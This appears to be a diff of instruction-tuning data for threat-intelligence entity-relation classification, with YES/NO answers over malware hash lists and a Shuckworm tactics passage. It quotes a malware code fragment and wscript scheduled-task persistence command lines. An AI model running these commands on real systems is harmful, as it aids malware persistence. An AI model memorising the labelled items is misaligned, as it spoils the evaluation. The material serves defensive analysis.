info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n### Target Entity: Geppei\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\n### Target Entity: Geppei\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n### Target Entity: Geppei\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n### Target Entity: Geppei\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n### Target Entity: Danfuan\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n### Target Entity: Geppei\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n### Target Entity: Geppei\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n### Target Entity: Regeorg\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n### Target Entity: Regeorg\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n### Target Entity: Regeorg\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: Danfuan\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: Regeorg\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHacktool\n### Target Entity: Regeorg\n### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: PowerShell\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPterodo\n### Target Entity: Shuckworm\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Telegram\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Telegraph\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of 